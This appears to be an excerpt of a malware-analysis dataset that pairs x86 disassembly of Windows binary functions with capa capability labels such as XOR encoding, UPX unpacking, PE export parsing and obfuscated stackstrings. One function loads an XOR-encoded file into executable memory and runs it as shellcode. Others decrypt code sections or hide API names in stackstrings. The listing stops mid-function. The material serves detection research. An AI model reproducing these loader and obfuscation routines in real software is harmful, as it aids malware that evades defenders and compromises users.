joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4e0b84
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc0
mov eax, dword [0x579258]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, ecx
push edi
push 0x10
xor eax, eax
mov dword [ebp - 0xbc], ebx
pop ecx
lea edi, [ebp - 0x58]
mov dword [ebp - 0xc0], esi
rep stosd dword es:[edi], eax
mov edi, dword [ebp + 0xc]
cmp edi, 0x40
jbe 0x4e0c02
lea eax, [ebp - 0xb8]
push eax
call fcn.004e08cd
push edi
lea eax, [ebp - 0xb8]
push esi
push eax
call fcn.004e08ff
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0xb8]
push eax
call fcn.004dffb5
add esp, 0x18
xor esi, esi
mov ecx, esi
mov eax, dword [ebp + ecx - 0x18]
bswap eax
mov dword [ebp + ecx - 0x58], eax
add ecx, 4
cmp ecx, 0x14
jb 0x4e0bee
jmp 0x4e0c39
xor esi, esi
mov ebx, esi
test edi, edi
je 0x4e0c33
mov esi, dword [ebp - 0xc0]
mov eax, ebx
mov edx, ebx
and eax, 3
shr edx, 2
push 3
pop ecx
sub ecx, eax
movzx eax, byte [esi + ebx]
shl ecx, 3
shl eax, cl
or dword [ebp + edx*4 - 0x58], eax
inc ebx
cmp ebx, edi
jb 0x4e0c10
xor esi, esi
mov ebx, dword [ebp - 0xbc]
mov eax, esi
movups xmm0, xmmword [ebp + eax*4 - 0x58]
pxor xmm0, xmmword [str.6666666666666666jjjjjjjjjjjjjjjj]
movups xmmword [ebp + eax*4 - 0x58], xmm0
add eax, 4
cmp eax, 0x10
jb 0x4e0c3b
push ebx
call fcn.004e08cd
push 0x10
lea eax, [ebp - 0x58]
push eax
push ebx
call fcn.004dff66
add esp, 0x10
movups xmm0, xmmword [ebp + esi*4 - 0x58]
pxor xmm0, xmmword [0x5513c0]
movups xmmword [ebp + esi*4 - 0x58], xmm0
add esi, 4
cmp esi, 0x10
jb 0x4e0c6a
lea esi, [ebx + 0x60]
push esi
call fcn.004e08cd
push 0x10
lea eax, [ebp - 0x58]
push eax
push esi
call fcn.004dff66
mov ecx, dword [ebp - 4]
add esp, 0x10
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.00460412
leave
ret 8

Function at 0x4e0cad
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [0x579258]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, ecx
xor ebx, ebx
mov ecx, dword [ebp + 8]
mov eax, ebx
push edi
mov edi, dword [ebp + 0xc]
mov dword [ebp - 0x48], ecx
mov byte [ebp + eax - 0x44], bl
inc eax
cmp eax, 0x40
jb 0x4e0ccf
cmp edi, 0x40
jbe 0x4e0cfd
push esi
call fcn.004e08cd
push edi
push dword [ebp - 0x48]
push esi
call fcn.004e08ff
lea eax, [ebp - 0x44]
push eax
push esi
call fcn.004dffb5
add esp, 0x18
jmp 0x4e0d0f
test edi, edi
je 0x4e0d0f
push edi
push ecx
lea eax, [ebp - 0x44]
push eax
call fcn.004ebfd0
add esp, 0xc
mov eax, ebx
xor byte [ebp + eax - 0x44], 0x36
inc eax
cmp eax, 0x40
jb 0x4e0d11
push esi
call fcn.004e08cd
push 0x40
lea eax, [ebp - 0x44]
push eax
push esi
call fcn.004e08ff
add esp, 0x10
xor byte [ebp + ebx - 0x44], 0x6a
inc ebx
cmp ebx, 0x40
jb 0x4e0d31
add esi, 0x60
push esi
call fcn.004e08cd
push 0x40
lea eax, [ebp - 0x44]
push eax
push esi
call fcn.004e08ff
mov ecx, dword [ebp - 4]
add esp, 0x10
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.00460412
leave
ret 8
Function at 0x4e18a1
Capabilities:
Terminate process

Disassembly:
push esi
push edi
mov edi, ecx
xor esi, esi
lea eax, [edi + 8]
cmp dword [eax], esi
jne 0x4e18b9
push eax
call fcn.004d67c5
pop ecx
test eax, eax
jne 0x4e18cb
lea eax, [edi + 0xc]
cmp dword [eax], esi
jne 0x4e18c9
push eax
call fcn.004d67c5
pop ecx
mov esi, eax
mov eax, esi
pop edi
pop esi
ret

Function at 0x4e1ca3
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 0x14]
push edi
mov edi, dword [ebp + 0x10]
mov eax, dword [edi + 0x18]
mov dword [esi + 8], eax
mov eax, dword [edi + 0x1c]
mov dword [esi + 0xc], eax
xor eax, eax
mov word [esi], ax
cmp byte [edi + 1], al
je 0x4e1d20
mov bl, byte [edi + 2]
lea eax, [edi + 0x20]
push eax
lea ecx, [esi + 0x24]
call fcn.0049fb29
movzx eax, byte [edi + 4]
mov ecx, esi
push eax
push 0x800
call fcn.004e1d85
mov eax, dword [edi + 0x10]
mov dword [esi + 0x44], eax
mov eax, dword [edi + 0x14]
mov dword [esi + 0x18], eax
mov eax, dword [edi + 0x2c]
mov dword [esi + 0x68], eax
mov eax, dword [edi + 0x30]
mov dword [esi + 0x6c], eax
mov eax, dword [edi + 0x34]
mov dword [esi + 0x70], eax
mov eax, dword [edi + 0x38]
mov dword [esi + 0x74], eax
mov eax, dword [edi + 0x3c]
mov dword [esi + 0x78], eax
mov eax, dword [edi + 0x40]
mov dword [esi + 0x7c], eax
mov al, byte [edi + 3]
mov byte [esi + 0x80], al
jmp 0x4e1d29
mov ecx, esi
call fcn.004ccf66
mov bl, al
mov edx, dword [ebp + 8]
mov ecx, dword [edx + 0x38]
mov dword [esi + 0x48], ecx
mov ecx, dword [edx + 0x3c]
mov dword [esi + 0x4c], ecx
xor ecx, ecx
mov dword [esi + 0x40], 0x3f
mov byte [esi + 5], cl
test bl, bl
jne 0x4e1d54
mov eax, dword [ebp + 0xc]
mov byte [ebp + 0x14], 1
cmp byte [eax + 0x24], cl
jne 0x4e1d57
mov byte [ebp + 0x14], cl
push dword [ebp + 0x14]
mov ecx, esi
push 1
call fcn.004e1d85
test bl, bl
je 0x4e1d80
xor eax, eax
mov byte [esi + 4], 0x14
mov word [esi + 2], ax
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], eax
mov dword [esi + 8], eax
mov dword [esi + 0xc], eax
mov dword [esi + 0x1c], eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x4e4b2b
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
cmp dword [esi], 0
je 0x4e4b3e
xor eax, eax
jmp 0x4e4bc8
lea eax, [esi + 0x30]
push edi
push eax
call fcn.004d67d9
pop ecx
test eax, eax
jne 0x4e4bc4
xor edi, edi
lea eax, [esi + 0x14]
inc edi
push eax
mov dword [esi + 0x28], edi
call fcn.004d67c5
pop ecx
test eax, eax
jne 0x4e4bc4
lea eax, [esi + 0x18]
push eax
call fcn.004d67c5
pop ecx
test eax, eax
jne 0x4e4bc4
lea eax, [esi + 0x1c]
push eax
call fcn.004d67c5
pop ecx
test eax, eax
jne 0x4e4bc4
push dword [ebp + 0x14]
lea eax, [esi + 0x20]
push dword [ebp + 0x14]
push eax
call fcn.004d68e2
add esp, 0xc
test eax, eax
jne 0x4e4bc4
push dword [ebp + 0x14]
push eax
lea eax, [esi + 0x24]
push eax
call fcn.004d68e2
add esp, 0xc
test eax, eax
jne 0x4e4bc4
push dword [ebp + 0x10]
lea eax, [esi + 0x10]
mov dword [esi + 4], edi
push dword [ebp + 0xc]
push eax
call fcn.004d6941
add esp, 0xc
test eax, eax
jne 0x4e4bc4
mov dword [esi], edi
jmp 0x4e4bc7
push 0xc
pop eax
pop edi
pop esi
pop ebp
ret
Function at 0x4e4d76
Capabilities:
Terminate process

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 4]
cmp dword [ebx], 0
jne 0x4e4d8d
push ebx
call fcn.004d67c5
pop ecx
test eax, eax
jne 0x4e4dcf
push edi
lea edi, [esi + 8]
cmp dword [edi], 0
jne 0x4e4da1
push edi
call fcn.004d67c5
pop ecx
test eax, eax
jne 0x4e4dce
push ebx
call fcn.004d684d
push edi
call fcn.004d684d
lea eax, [esi + 0xc]
mov byte [esi + 0x10], 0
cmp dword [eax], 0
pop ecx
pop ecx
je 0x4e4dbf
xor eax, eax
jmp 0x4e4dce
push esi
push 0x4e4d38
push eax
call fcn.004d6941
add esp, 0xc
pop edi
pop esi
pop ebx
ret
Function at 0x4eaabd
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x579258]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov edi, dword [ebp + 8]
xor ecx, ecx
mov eax, dword [edi]
and dword [edi + 4], 0
mov word [eax], cx
xor eax, eax
mov word [ebp - 0x210], ax
lea eax, [ebp - 0x210]
push eax
push 0x105
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov esi, eax
mov ecx, edi
lea eax, [ebp - 0x210]
push eax
call fcn.0049fc37
lea eax, [esi - 1]
mov ecx, 0x103
cmp ecx, eax
mov ecx, dword [ebp - 4]
pop edi
sbb al, al
xor ecx, ebp
inc al
pop esi
call fcn.00460412
leave
ret

Function at 0x4eab4a
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
setne al
pop ebp
ret

Function at 0x4eb1ba
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
or ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, eax
mov eax, ecx
pop ebp
ret
Function at 0x50c818
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0050c68e

Function at 0x51b903
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret

Function at 0x425a70
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x20000]
push edi
or ebp, 0xffffffff
jmp 0x425a92
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x425a99
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x425a88
mov eax, 1
add ebx, ebx
jne 0x425aab
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x425aa0
jne 0x425abc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x425aa0
xor ecx, ecx
sub eax, 3
jb 0x425ad0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x425b42
mov ebp, eax
add ebx, ebx
jne 0x425adb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x425ae8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x425b0c
inc ecx
add ebx, ebx
jne 0x425af8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x425aed
jne 0x425b09
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x425aed
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x425b2c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x425b1d
jmp 0x425a8e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x425b2c
add edi, ecx
jmp 0x425a8e
pop esi
mov edi, esi
mov ecx, 0x3f4
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x425b4a
cmp byte [edi], 3
jne 0x425b4a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x425b4f
lea edi, [esi + 0x23000]
mov eax, dword [edi]
or eax, eax
je 0x425bc7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x3951c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x39558]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x425b7c
mov ecx, edi
jns 0x425bab
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x39560]
or eax, eax
je 0x425bc1
mov dword [ebx], eax
add ebx, 4
jmp 0x425b99
call dword [esi + 0x3955c]
mov ebp, dword [esi + 0x39564]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1d7]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x425bfb
sub esp, 0xffffff80
jmp 0x40152c
Function at 0x104c769
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x1050190
cmp edx, dword [eax]
je 0x104c78b
add eax, 8
inc ecx
cmp eax, 0x1050220
jl 0x104c77c
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x1050190]
jne 0x104c8b9
mov eax, dword [0x1050bb0]
cmp eax, 1
je 0x104c893
test eax, eax
jne 0x104c7bc
cmp dword [0x10500e4], 1
je 0x104c893
cmp edx, 0xfc
je 0x104c8b9
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x104c7f3
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.0104d670
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.0104d490
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x104c836
lea eax, [ebp - 0x1a4]
push eax
call fcn.0104d490
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x104f45c
push edi
call fcn.0104df00
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.0104d670
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.0104d680
lea eax, [ebp - 0xa0]
push 0x104f43c
push eax
call fcn.0104d680
push dword [esi + 0x1050194]
lea eax, [ebp - 0xa0]
push eax
call fcn.0104d680
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.0104de75
add esp, 0x2c
pop edi
jmp 0x104c8b9
lea eax, [ebp + 8]
lea esi, [esi + 0x1050194]
push 0
push eax
push dword [esi]
call fcn.0104d490
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x433006
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
mov eax, section..text
nop
nop
mov ebx, 0x40de38
nop
mov ecx, 0x73391148
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x433024
nop
mov eax, section..data
nop
mov ebx, 0x4304d8
nop
mov ecx, 0x48a575c9
nop
nop
nop
test eax, eax
nop
je 0x433084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x4a4a60
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
mov esi, dword [0x4cb010]
push edi
push 0x4d49e8
call esi
push 0x4d49e8
call esi
push 0x4d49e8
call esi
push 0x4d49e8
call esi
push 0x4d49e8
call esi
mov edi, dword [ebp + 0x10]
lea eax, [edi + 1]
push eax
push 0
call 0x4f4030e
nop
push eax
call 0x77e35da0
nop
mov ebx, eax
push 0x4d49e8
mov dword [ebp - 4], ebx
call esi
push 0x4d49e8
call esi
push 0x4d49e8
call esi
push 0x4d49e8
call esi
push 0x4d49e8
call esi
push 0x4d49e8
mov byte [ebx + edi], 0
call esi
push 0x4d49e8
call esi
push 0x4d49e8
call esi
push 0x4d49e8
call esi
push 0x4d49e8
call esi
xor edi, edi
cmp dword [ebp + 0x10], edi
jbe 0x4a4b7a
mov eax, dword [ebp + 8]
sub eax, ebx
mov dword [ebp - 8], eax
push 0x4d49e8
call esi
push 0x4d49e8
call esi
push 0x4d49e8
call esi
push 0x4d49e8
call esi
push 0x4d49e8
call esi
mov ecx, dword [ebp + 0xc]
push ecx
add ebx, edi
call 0x760597f0
nop
mov ecx, eax
xor edx, edx
mov eax, edi
div ecx
mov eax, dword [ebp + 0xc]
add esp, 4
push 0x4d49e8
mov cl, byte [edx + eax]
mov edx, dword [ebp - 8]
xor cl, byte [edx + ebx]
mov byte [ebx], cl
call esi
push 0x4d49e8
call esi
push 0x4d49e8
call esi
push 0x4d49e8
call esi
push 0x4d49e8
call esi
mov ebx, dword [ebp - 4]
inc edi
cmp edi, dword [ebp + 0x10]
jb 0x4a4b06
push 0x4d49e8
call esi
push 0x4d49e8
call esi
push 0x4d49e8
call esi
push 0x4d49e8
call esi
push 0x4d49e8
call esi
lea eax, [ebp - 0xc]
push eax
push 0x100
push 4
push ebx
mov dword [ebp - 0xc], 0
call 0x4f40314
nop
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4a6ef0
Capabilities:
Parse pe header

Disassembly:
cmp dword [ebx + 4], 0x40
jb 0x4a6f91
mov eax, dword [ebx]
push 0x40
push eax
push esi
nop
call 0x76058cf0
mov ecx, 0x5a4d
add esp, 0xc
cmp word [esi], cx
jne 0x4a6fc0
mov eax, dword [esi + 0x3c]
test eax, eax
je 0x4a6fc0
lea edx, [eax + 0xf8]
cmp edx, dword [ebx + 4]
ja 0x4a6f91
mov ecx, dword [ebx]
push edi
push pe_nt_image_headers32
add ecx, eax
push ecx
lea edi, [esi + 0x40]
push edi
call 0x76058cf0
nop
add esp, 0xc
cmp dword [edi], 0x4550
pop edi
jne 0x4a6fc0
mov edx, 0x10b
cmp word [esi + 0x58], dx
jne 0x4a6fc0
movzx eax, word [esi + 0x46]
test ax, ax
je 0x4a6fc0
lea eax, [eax + eax*4]
add eax, eax
add eax, eax
add eax, eax
push eax
push 8
mov dword [esi + 0x140], eax
call dword [fcn.006d90f4]
push eax
call dword [fcn.006d9088]
mov dword [esi + 0x138], eax
test eax, eax
jne 0x4a6f97
mov eax, 3
ret
mov eax, 1
ret
movzx ecx, word [esi + 0x54]
mov edx, dword [esi + 0x3c]
lea ecx, [ecx + edx + 0x18]
mov edx, dword [esi + 0x140]
push ebx
push edx
push ecx
push eax
mov dword [esi + 0x13c], ecx
call fcn.004a7590
add esp, 0x10
neg eax
sbb eax, eax
inc eax
ret
mov eax, 2
ret
Function at 0x9b0af0
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
mov esi, dword [0x6d90e0]
test esi, esi
jne 0x9b0b08
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x9b0b01
mov eax, dword [esi + 0x3c]
cmp dword [eax + esi], 0x4550
jne 0x9b0b01
mov eax, dword [eax + esi + 0x78]
mov ecx, dword [eax + esi + 0x1c]
add eax, esi
add ecx, esi
push ebx
mov ebx, dword [eax + 0x20]
mov dword [ebp - 0xc], ecx
mov ecx, dword [eax + 0x24]
mov eax, dword [eax + 0x18]
push edi
add ecx, esi
add ebx, esi
xor edi, edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test eax, eax
je 0x9b0b6a
jmp 0x9b0b50
mov eax, dword [ebx + edi*4]
mov ecx, dword [0x6d8bf0]
add eax, esi
call fcn.009ae610
test eax, eax
je 0x9b0b73
inc edi
cmp edi, dword [ebp - 4]
jb 0x9b0b50
pop edi
pop ebx
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 8]
movzx edx, word [ecx + edi*2]
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + edx*4]
pop edi
pop ebx
add eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40d6af
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
mov ebx, dword [0x10003104]
push esi
push edi
mov edi, 0x100027e4
push 0x104
push edi
push 0
call ebx
mov esi, 0x88886666
cmp dword [ebp + 0xc], esi
jne 0x40d6e8
push dword [ebp + 0x10]
push 0x100026e0
call fcn.0040de56
pop ecx
pop ecx
jmp 0x40d6f7
push 0x104
push 0x100026e0
push dword [ebp + 8]
call ebx
and byte [ebp - 4], 0
cmp dword [ebp + 0xc], esi
mov byte [ebp - 0x10], 0x65
mov byte [ebp - 0xf], 0x78
mov byte [ebp - 0xe], 0x70
mov byte [ebp - 0xd], 0x6c
mov byte [ebp - 0xc], 0x6f
mov byte [ebp - 0xb], 0x72
mov byte [ebp - 0xa], 0x65
mov byte [ebp - 9], 0x72
mov byte [ebp - 8], 0x2e
mov byte [ebp - 7], 0x65
mov byte [ebp - 6], 0x78
mov byte [ebp - 5], 0x65
je 0x40d773
push edi
call dword [0x10003160]
mov esi, dword [0x100031b0]
mov dword [esp], 0x10004454
push edi
call esi
pop ecx
test eax, eax
pop ecx
jne 0x40d763
lea eax, [ebp - 0x10]
push eax
push edi
call esi
pop ecx
test eax, eax
pop ecx
jne 0x40d763
call fcn.0040d668
xor eax, eax
jmp 0x40d782
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0040dac5
jmp 0x40d782
push 0
push 1
push dword [ebp + 8]
call fcn.0040dac5
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x410287
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
and byte [ebp - 3], 0
and byte [ebp - 0xe], 0
lea eax, [ebp - 0x1c]
mov byte [ebp - 0xc], 0x69
push eax
lea eax, [ebp - 0xc]
push eax
mov byte [ebp - 0xb], 0x6d
mov byte [ebp - 0xa], 0x6d
mov byte [ebp - 9], 0x33
mov byte [ebp - 8], 0x32
mov byte [ebp - 7], 0x2e
mov byte [ebp - 6], 0x64
mov byte [ebp - 5], 0x6c
mov byte [ebp - 4], 0x6c
mov byte [ebp - 0x1c], 0x49
mov byte [ebp - 0x1b], 0x6d
mov byte [ebp - 0x1a], 0x6d
mov byte [ebp - 0x19], 0x49
mov byte [ebp - 0x18], 0x6e
mov byte [ebp - 0x17], 0x73
mov byte [ebp - 0x16], 0x74
mov byte [ebp - 0x15], 0x61
mov byte [ebp - 0x14], 0x6c
mov byte [ebp - 0x13], 0x6c
mov byte [ebp - 0x12], 0x49
mov byte [ebp - 0x11], 0x4d
mov byte [ebp - 0x10], 0x45
mov byte [ebp - 0xf], 0x41
call dword [0x10002054]
push eax
call dword [0x10002058]
push dword [ebp + 0xc]
push dword [ebp + 8]
call eax
leave
ret
Function at 0x410310
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
and byte [ebp - 3], 0
and byte [ebp - 0xe], 0
lea eax, [ebp - 0x20]
mov byte [ebp - 0xc], 0x69
push eax
lea eax, [ebp - 0xc]
push eax
mov byte [ebp - 0xb], 0x6d
mov byte [ebp - 0xa], 0x6d
mov byte [ebp - 9], 0x33
mov byte [ebp - 8], 0x32
mov byte [ebp - 7], 0x2e
mov byte [ebp - 6], 0x64
mov byte [ebp - 5], 0x6c
mov byte [ebp - 4], 0x6c
mov byte [ebp - 0x20], 0x49
mov byte [ebp - 0x1f], 0x6d
mov byte [ebp - 0x1e], 0x6d
mov byte [ebp - 0x1d], 0x47
mov byte [ebp - 0x1c], 0x65
mov byte [ebp - 0x1b], 0x74
mov byte [ebp - 0x1a], 0x49
mov byte [ebp - 0x19], 0x4d
mov byte [ebp - 0x18], 0x45
mov byte [ebp - 0x17], 0x46
mov byte [ebp - 0x16], 0x69
mov byte [ebp - 0x15], 0x6c
mov byte [ebp - 0x14], 0x65
mov byte [ebp - 0x13], 0x4e
mov byte [ebp - 0x12], 0x61
mov byte [ebp - 0x11], 0x6d
mov byte [ebp - 0x10], 0x65
mov byte [ebp - 0xf], 0x41
call dword [0x10002054]
push eax
call dword [0x10002058]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call eax
leave
ret
Function at 0x40ebd9
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov dword [ebp - 4], 0xe6
mov eax, dword [ebp - 4]
add eax, 0xe6
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
imul ecx, ecx, 0xf1
mov dword [ebp - 8], ecx
cmp dword [ebp + 8], 0
je 0x40ed56
mov eax, dword fs:[0x30]
mov dword [ebp - 0xc], eax
mov edx, dword [ebp - 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x18]
mov edx, dword [ecx + 0x10]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 8]
add ecx, 5
mov dword [ebp - 8], ecx
mov edx, dword [ebp + 8]
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x24], ecx
cmp dword [ebp - 0x24], 0
je 0x40ec58
mov edx, dword [ebp - 0x14]
movzx eax, word [edx + 0x2c]
mov ecx, dword [ebp - 0x14]
movzx edx, word [ecx + 0x2e]
cmp eax, edx
jle 0x40ec61
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x24], ecx
cmp dword [ebp - 0x24], 0
je 0x40ed41
mov edx, 1
test edx, edx
je 0x40ed41
mov eax, dword [ebp - 0x24]
mov cl, byte [eax]
mov byte [ebp - 0x25], cl
mov edx, dword [ebp - 8]
sub edx, 1
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x20]
mov cl, byte [eax]
mov byte [ebp - 0x19], cl
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
movzx eax, byte [ebp - 0x19]
add eax, 0x14
mov byte [ebp - 0x19], al
movzx ecx, byte [ebp - 0x19]
cmp ecx, 0x55
jl 0x40ecc0
movzx edx, byte [ebp - 0x19]
cmp edx, 0x6e
jg 0x40ecc0
movzx eax, byte [ebp - 0x19]
add eax, 0x20
mov byte [ebp - 0x19], al
movzx ecx, byte [ebp - 0x19]
sub ecx, 0x14
mov byte [ebp - 0x19], cl
movzx edx, byte [ebp - 0x25]
add edx, 0x14
mov byte [ebp - 0x25], dl
movzx eax, byte [ebp - 0x25]
cmp eax, 0x55
jl 0x40ecf0
movzx ecx, byte [ebp - 0x25]
cmp ecx, 0x6e
jg 0x40ecf0
movzx edx, byte [ebp - 0x25]
add edx, 0x20
mov byte [ebp - 0x25], dl
movzx eax, byte [ebp - 0x25]
sub eax, 0x14
mov byte [ebp - 0x25], al
movzx ecx, byte [ebp - 0x19]
movzx edx, byte [ebp - 0x25]
cmp ecx, edx
je 0x40ed08
jmp 0x40ed41
movzx eax, byte [ebp - 0x19]
test eax, eax
